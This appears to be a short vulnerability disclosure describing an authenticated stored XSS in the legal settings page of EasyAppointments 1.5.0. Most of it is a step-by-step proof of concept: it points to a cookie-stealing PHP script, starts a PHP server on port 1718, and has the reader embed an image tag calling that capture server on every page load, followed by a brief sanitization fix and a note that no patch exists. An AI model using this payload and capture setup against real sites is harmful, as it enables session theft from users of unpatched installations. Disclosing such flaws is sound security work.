EasyAppointments 1.5.0 | Authenticated Store XSS on Legal Settings Page

The [/index.php/legal_settings] endpoint has three fields where you can insert custom policies such as cookie policy.
The problem is that the code you write here is executed whenever the page loads, most editors only run the code when it's displayed not when it's being modified but regardless this opens the website to XSS attacks.

To setup a cookie stealer server, you can save the following PHP script as capture.php:
https://gist.github.com/0xHamy/b2674eeffd1f73af96d29f152c47bcbd

Start a PHP server to serve it:
$ php -S 0.0.0.0:1718

Login to the admin panel
Go to /index.php/legal_settings
Inside cookies field, click on embed code option of the text editor
Insert the following:
<img src="http://127.0.0.1:1718/capture.php">

This will capture cookies every time you visit legal settings page.

N/A

Implement proper sanitization by whitelisting

Not available, the maintainer claims that the issue is well know and no fix will be issued at the moment.